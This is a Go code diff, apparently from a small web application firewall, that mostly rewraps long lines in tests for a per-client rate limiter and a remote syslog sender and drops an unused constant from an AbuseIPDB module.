_, hit, _ = limiter.CountBytes(client, start, 1, 0)
|
_, hit, _ = limiter.CountBytes(client, start, 1, 0)
|
||||||
|
|
||||||
want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
|
want = ratelimit.Hit{
|
||||||
|
Kind: ratelimit.KindBytes,
|
||||||
|
Window: hour,
|
||||||
|
Limit: 0,
|
||||||
|
Count: 1,
|
||||||
|
}
|
||||||
if hit != want {
|
if hit != want {
|
||||||
t.Errorf("the first byte gives %+v, want %+v", hit, want)
|
t.Errorf("the first byte gives %+v, want %+v", hit, want)
|
||||||
}
|
}
|
||||||
@@ -215,13 +262,23 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
|
|||||||
t.Fatal("600 bytes are over the limit of 1000")
|
t.Fatal("600 bytes are over the limit of 1000")
|
||||||
}
|
}
|
||||||
|
|
||||||
_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
|
_, hit, over := limiter.CountBytes(
|
||||||
|
client,
|
||||||
|
midnight(),
|
||||||
|
600,
|
||||||
|
whole,
|
||||||
|
)
|
||||||
|
|
||||||
want := ratelimit.Hit{
|
want := ratelimit.Hit{
|
||||||
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
|
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
|
t.Errorf(
|
||||||
|
"1200 bytes give %+v and %t, want %+v and true",
|
||||||
|
hit,
|
||||||
|
over,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -230,8 +287,10 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
|
|||||||
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
other := netip.MustParsePrefix("203.0.113.10/32")
|
other := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -301,7 +360,10 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||||
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
|
t.Fatalf(
|
||||||
|
"a refusal within the threshold of %d broke the error burst",
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -311,13 +373,21 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
|
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
|
t.Errorf(
|
||||||
want)
|
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||||
|
over,
|
||||||
|
hit,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Half a minute into the next, half of those four still count, 2, and
|
// Half a minute into the next, half of those four still count, 2, and
|
||||||
// this one: 3, within the threshold.
|
// this one: 3, within the threshold.
|
||||||
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
|
hit, over = limiter.CountRefusal(
|
||||||
|
client,
|
||||||
|
start.Add(time.Minute+time.Minute/2),
|
||||||
|
limit,
|
||||||
|
)
|
||||||
if over || hit.Count != 3 {
|
if over || hit.Count != 3 {
|
||||||
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
|
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
|
||||||
hit.Count, over)
|
hit.Count, over)
|
||||||
@@ -326,7 +396,11 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
// A ban sets them back to zero.
|
// A ban sets them back to zero.
|
||||||
limiter.Reset(client)
|
limiter.Reset(client)
|
||||||
|
|
||||||
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
|
hit, _ = limiter.CountRefusal(
|
||||||
|
client,
|
||||||
|
start.Add(time.Minute+time.Minute/2),
|
||||||
|
limit,
|
||||||
|
)
|
||||||
if hit.Count != 1 {
|
if hit.Count != 1 {
|
||||||
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
|
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
|
||||||
}
|
}
|
||||||
@@ -347,7 +421,11 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
|||||||
// hour still covers three quarters of the bucket before, with its three
|
// hour still covers three quarters of the bucket before, with its three
|
||||||
// requests, which count 2.25, and this one: 3.25. The day covers all
|
// requests, which count 2.25, and this one: 3.25. The day covers all
|
||||||
// four.
|
// four.
|
||||||
counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
|
counts, _, _ := limiter.Count(
|
||||||
|
client,
|
||||||
|
start.Add(time.Hour+time.Hour/4),
|
||||||
|
whole,
|
||||||
|
)
|
||||||
|
|
||||||
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
|
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
|
||||||
if counts != want {
|
if counts != want {
|
||||||
@@ -358,7 +436,10 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
|||||||
func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
|
limiter := ratelimit.New(
|
||||||
|
ratelimit.Limits{PerMinute: limit, PerDay: limit},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -399,8 +480,10 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
|
|||||||
func TestRefusedRequestsCount(t *testing.T) {
|
func TestRefusedRequestsCount(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
refused := netip.MustParsePrefix("203.0.113.9/32")
|
refused := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
within := netip.MustParsePrefix("203.0.113.10/32")
|
within := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -501,7 +584,11 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
|
|||||||
wantCount(t, limiter, clients[maxClients], now, "")
|
wantCount(t, limiter, clients[maxClients], now, "")
|
||||||
|
|
||||||
if limiter.Len() != maxClients {
|
if limiter.Len() != maxClients {
|
||||||
t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
|
t.Errorf(
|
||||||
|
"the table holds %d clients, want %d",
|
||||||
|
limiter.Len(),
|
||||||
|
maxClients,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, clients[1], now, "")
|
wantCount(t, limiter, clients[1], now, "")
|
||||||
@@ -516,7 +603,10 @@ func midnight() time.Time {
|
|||||||
// wantCount counts a request from client at now, and checks the window
|
// wantCount counts a request from client at now, and checks the window
|
||||||
// whose limit it goes over, "" for none.
|
// whose limit it goes over, "" for none.
|
||||||
func wantCount(
|
func wantCount(
|
||||||
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
|
t *testing.T,
|
||||||
|
limiter *ratelimit.Limiter,
|
||||||
|
client netip.Prefix,
|
||||||
|
now time.Time,
|
||||||
want string,
|
want string,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
@@ -531,8 +621,12 @@ func wantCount(
|
|||||||
// wantBytesCount counts bytes from client at now, and checks the kind of
|
// wantBytesCount counts bytes from client at now, and checks the kind of
|
||||||
// the limit they break, "" for none.
|
// the limit they break, "" for none.
|
||||||
func wantBytesCount(
|
func wantBytesCount(
|
||||||
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
|
t *testing.T,
|
||||||
bytes int64, want string,
|
limiter *ratelimit.Limiter,
|
||||||
|
client netip.Prefix,
|
||||||
|
now time.Time,
|
||||||
|
bytes int64,
|
||||||
|
want string,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,12 @@ import (
|
|||||||
func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
|
want := []string{
|
||||||
|
"192.0.2.1/32",
|
||||||
|
"203.0.113.9/32",
|
||||||
|
"203.0.113.10/32",
|
||||||
|
"2001:db8::/64",
|
||||||
|
}
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||||
for _, i := range []int{2, 3, 0, 1} {
|
for _, i := range []int{2, 3, 0, 1} {
|
||||||
@@ -32,8 +37,12 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
|||||||
|
|
||||||
counted := ratelimit.Buckets{Start: midnight(), Current: 1}
|
counted := ratelimit.Buckets{Start: midnight(), Current: 1}
|
||||||
if snapshot[0].Minute != counted || snapshot[0].Day != counted {
|
if snapshot[0].Minute != counted || snapshot[0].Day != counted {
|
||||||
t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
|
t.Errorf(
|
||||||
counted)
|
"buckets %+v and %+v, want %+v",
|
||||||
|
snapshot[0].Minute,
|
||||||
|
snapshot[0].Day,
|
||||||
|
counted,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -86,10 +95,15 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
|
|||||||
t.Errorf("loaded two minutes on as %+v", got)
|
t.Errorf("loaded two minutes on as %+v", got)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
|
if got.MinuteBytes != (ratelimit.Buckets{}) ||
|
||||||
|
got.HourBytes.Current != 5 ||
|
||||||
got.DayBytes.Current != 5 {
|
got.DayBytes.Current != 5 {
|
||||||
t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
|
t.Errorf(
|
||||||
got.MinuteBytes, got.HourBytes, got.DayBytes)
|
"loaded two minutes on with buckets of bytes %+v, %+v and %+v",
|
||||||
|
got.MinuteBytes,
|
||||||
|
got.HourBytes,
|
||||||
|
got.DayBytes,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got.MinuteRefusals != (ratelimit.Buckets{}) {
|
if got.MinuteRefusals != (ratelimit.Buckets{}) {
|
||||||
@@ -101,8 +115,13 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
|
|||||||
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
|
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
|
||||||
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
|
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
|
||||||
got.MinuteRefusals.Current != 1 {
|
got.MinuteRefusals.Current != 1 {
|
||||||
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
|
t.Errorf(
|
||||||
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
|
"loaded just under two minutes on with minute buckets %+v, %+v "+
|
||||||
|
"and %+v",
|
||||||
|
got.Minute,
|
||||||
|
got.MinuteBytes,
|
||||||
|
got.MinuteRefusals,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -185,7 +185,11 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
|
|||||||
// and over TCP and TLS after its length in bytes and a space, the
|
// and over TCP and TLS after its length in bytes and a space, the
|
||||||
// octet-counted framing of RFC 6587 and RFC 5425.
|
// octet-counted framing of RFC 6587 and RFC 5425.
|
||||||
func (s *Sender) record(at string, line []byte) []byte {
|
func (s *Sender) record(at string, line []byte) []byte {
|
||||||
record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
|
record := make(
|
||||||
|
[]byte,
|
||||||
|
0,
|
||||||
|
len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
|
||||||
|
)
|
||||||
record = append(record, s.beforeTime...)
|
record = append(record, s.beforeTime...)
|
||||||
record = append(record, at...)
|
record = append(record, at...)
|
||||||
record = append(record, s.afterTime...)
|
record = append(record, s.afterTime...)
|
||||||
@@ -219,7 +223,10 @@ func (s *Sender) put(record []byte) {
|
|||||||
// send connects to the endpoint and sends each record as it comes into
|
// send connects to the endpoint and sends each record as it comes into
|
||||||
// the buffer, until ctx is done, and returns the connection then open, or
|
// the buffer, until ctx is done, and returns the connection then open, or
|
||||||
// nil.
|
// nil.
|
||||||
func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
|
func (s *Sender) send(
|
||||||
|
ctx context.Context,
|
||||||
|
processLog *slog.Logger,
|
||||||
|
) net.Conn {
|
||||||
delay := firstRetryDelay
|
delay := firstRetryDelay
|
||||||
|
|
||||||
for {
|
for {
|
||||||
|
|||||||
@@ -57,16 +57,27 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
|
endpoint, err := (&net.ListenConfig{}).ListenPacket(
|
||||||
|
t.Context(),
|
||||||
|
"udp",
|
||||||
|
loopback,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
t.Cleanup(func() { _ = endpoint.Close() })
|
t.Cleanup(func() { _ = endpoint.Close() })
|
||||||
|
|
||||||
sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
|
sender, _, _ := run(
|
||||||
|
t,
|
||||||
|
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
|
||||||
|
)
|
||||||
|
|
||||||
_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
|
_, _ = sender.Write(
|
||||||
|
[]byte(
|
||||||
|
`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantCounts(t, sender, 2, 0, 0)
|
wantCounts(t, sender, 2, 0, 0)
|
||||||
@@ -108,7 +119,9 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
|
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -174,7 +187,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
|
|||||||
wantCounts(t, sender, 1, 0, 0)
|
wantCounts(t, sender, 1, 0, 0)
|
||||||
|
|
||||||
conn := endpoint.next(t)
|
conn := endpoint.next(t)
|
||||||
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
|
wantFrame(
|
||||||
|
t,
|
||||||
|
bufio.NewReader(conn),
|
||||||
|
record(t, local0Info, appName, "one"),
|
||||||
|
)
|
||||||
|
|
||||||
// The endpoint goes away: it closes the connection, and refuses the
|
// The endpoint goes away: it closes the connection, and refuses the
|
||||||
// next ones. The sender notices when a record fails, and tries to
|
// next ones. The sender notices when a record fails, and tries to
|
||||||
@@ -203,7 +220,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
|
|||||||
wantCounts(t, sender, sent+1, 1, 0)
|
wantCounts(t, sender, sent+1, 1, 0)
|
||||||
|
|
||||||
conn = endpoint.next(t)
|
conn = endpoint.next(t)
|
||||||
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
|
wantFrame(
|
||||||
|
t,
|
||||||
|
bufio.NewReader(conn),
|
||||||
|
record(t, local0Info, appName, "two"),
|
||||||
|
)
|
||||||
wantRetries(t, logged, "1s", "2s")
|
wantRetries(t, logged, "1s", "2s")
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -213,12 +234,19 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
|
|||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
|
sender, logged, _ := run(
|
||||||
|
t,
|
||||||
|
params(remotelog.SchemeTCP, endpoint.Addr()),
|
||||||
|
)
|
||||||
|
|
||||||
// The endpoint closes each connection as soon as it takes it. The
|
// The endpoint closes each connection as soon as it takes it. The
|
||||||
// sender notices when a record fails, and connects again a second
|
// sender notices when a record fails, and connects again a second
|
||||||
// later, then two seconds after that, then four.
|
// later, then two seconds after that, then four.
|
||||||
delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
|
delays := []time.Duration{
|
||||||
|
time.Second,
|
||||||
|
2 * time.Second,
|
||||||
|
4 * time.Second,
|
||||||
|
}
|
||||||
for i, delay := range delays {
|
for i, delay := range delays {
|
||||||
_ = accept(t, endpoint).Close()
|
_ = accept(t, endpoint).Close()
|
||||||
|
|
||||||
@@ -230,12 +258,17 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
|
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
|
sender, logged, _ := run(
|
||||||
|
t,
|
||||||
|
params(remotelog.SchemeTCP, endpoint.Addr()),
|
||||||
|
)
|
||||||
|
|
||||||
_ = accept(t, endpoint).Close()
|
_ = accept(t, endpoint).Close()
|
||||||
|
|
||||||
@@ -271,14 +304,21 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
|
endpoint, err := (&net.ListenConfig{}).ListenPacket(
|
||||||
|
t.Context(),
|
||||||
|
"udp",
|
||||||
|
loopback,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
t.Cleanup(func() { _ = endpoint.Close() })
|
t.Cleanup(func() { _ = endpoint.Close() })
|
||||||
|
|
||||||
sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
|
sender, logged, _ := run(
|
||||||
|
t,
|
||||||
|
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
|
||||||
|
)
|
||||||
|
|
||||||
// With its header, the first line's record is longer than the 65507
|
// With its header, the first line's record is longer than the 65507
|
||||||
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
|
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
|
||||||
@@ -372,7 +412,10 @@ func params(scheme string, addr net.Addr) remotelog.Params {
|
|||||||
// run runs a Sender with settings until the test ends or the function
|
// run runs a Sender with settings until the test ends or the function
|
||||||
// it returns is called, which waits for Run to return. It returns the
|
// it returns is called, which waits for Run to return. It returns the
|
||||||
// Sender, and what it logs.
|
// Sender, and what it logs.
|
||||||
func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
|
func run(
|
||||||
|
t *testing.T,
|
||||||
|
settings remotelog.Params,
|
||||||
|
) (*remotelog.Sender, *output, func()) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
sender := remotelog.New(settings)
|
sender := remotelog.New(settings)
|
||||||
@@ -399,7 +442,11 @@ func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, f
|
|||||||
func listen(t *testing.T) net.Listener {
|
func listen(t *testing.T) net.Listener {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
|
listener, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
loopback,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -438,11 +485,17 @@ type tlsEndpoint struct {
|
|||||||
|
|
||||||
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes
|
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes
|
||||||
// connections until it is told to refuse them.
|
// connections until it is told to refuse them.
|
||||||
func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
|
func startTLSEndpoint(
|
||||||
|
t *testing.T,
|
||||||
|
certificate tls.Certificate,
|
||||||
|
) *tlsEndpoint {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener := listen(t)
|
listener := listen(t)
|
||||||
endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
|
endpoint := &tlsEndpoint{
|
||||||
|
addr: listener.Addr(),
|
||||||
|
conns: make(chan net.Conn, 10),
|
||||||
|
}
|
||||||
config := &tls.Config{
|
config := &tls.Config{
|
||||||
Certificates: []tls.Certificate{certificate},
|
Certificates: []tls.Certificate{certificate},
|
||||||
MinVersion: tls.VersionTLS12,
|
MinVersion: tls.VersionTLS12,
|
||||||
@@ -456,7 +509,8 @@ func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
server := tls.Server(conn, config)
|
server := tls.Server(conn, config)
|
||||||
if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
|
if endpoint.refusing.Load() ||
|
||||||
|
server.HandshakeContext(t.Context()) != nil {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
|
|
||||||
continue
|
continue
|
||||||
@@ -528,9 +582,17 @@ func wantCounts(
|
|||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
|
if sender.Sent() != sent || sender.Dropped() != dropped ||
|
||||||
t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
|
sender.Depth() != depth {
|
||||||
sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
|
t.Fatalf(
|
||||||
|
"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
|
||||||
|
sender.Sent(),
|
||||||
|
sender.Dropped(),
|
||||||
|
sender.Depth(),
|
||||||
|
sent,
|
||||||
|
dropped,
|
||||||
|
depth,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -539,7 +601,11 @@ func wantCounts(
|
|||||||
// connection the endpoint has closed are lost before one fails; how many
|
// connection the endpoint has closed are lost before one fails; how many
|
||||||
// depends on when the endpoint's host answers that the connection is
|
// depends on when the endpoint's host answers that the connection is
|
||||||
// gone.
|
// gone.
|
||||||
func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
|
func writeUntilDropped(
|
||||||
|
t *testing.T,
|
||||||
|
sender *remotelog.Sender,
|
||||||
|
dropped int64,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for sender.Dropped() < dropped {
|
for sender.Dropped() < dropped {
|
||||||
@@ -586,7 +652,8 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
|||||||
var fields map[string]any
|
var fields map[string]any
|
||||||
|
|
||||||
err := json.Unmarshal([]byte(line), &fields)
|
err := json.Unmarshal([]byte(line), &fields)
|
||||||
if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
if err != nil ||
|
||||||
|
fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
||||||
t.Fatalf("logged %q", line)
|
t.Fatalf("logged %q", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -595,7 +662,11 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if !slices.Equal(got, delays) {
|
if !slices.Equal(got, delays) {
|
||||||
t.Errorf("logged failures to connect again in %v, want %v", got, delays)
|
t.Errorf(
|
||||||
|
"logged failures to connect again in %v, want %v",
|
||||||
|
got,
|
||||||
|
delays,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -618,7 +689,9 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
|
|||||||
IsCA: true,
|
IsCA: true,
|
||||||
BasicConstraintsValid: true,
|
BasicConstraintsValid: true,
|
||||||
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
|
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
|
||||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
ExtKeyUsage: []x509.ExtKeyUsage{
|
||||||
|
x509.ExtKeyUsageServerAuth,
|
||||||
|
},
|
||||||
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
|
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -636,5 +709,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
|
|||||||
roots := x509.NewCertPool()
|
roots := x509.NewCertPool()
|
||||||
roots.AddCert(certificate)
|
roots.AddCert(certificate)
|
||||||
|
|
||||||
return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
|
return tls.Certificate{
|
||||||
|
Certificate: [][]byte{der},
|
||||||
|
PrivateKey: key,
|
||||||
|
}, roots
|
||||||
}
|
}
|
||||||
@@ -14,6 +14,7 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"cloud.google.com/go/civil"
|
||||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
)
|
)
|
||||||
@@ -27,8 +28,6 @@ const (
|
|||||||
AbuseIPDBSource = "abuseipdb"
|
AbuseIPDBSource = "abuseipdb"
|
||||||
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
|
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
|
||||||
maxAnswerBytes = 64 << 10
|
maxAnswerBytes = 64 << 10
|
||||||
// day is the length of the day the checks are counted in, in UTC.
|
|
||||||
day = 24 * time.Hour
|
|
||||||
)
|
)
|
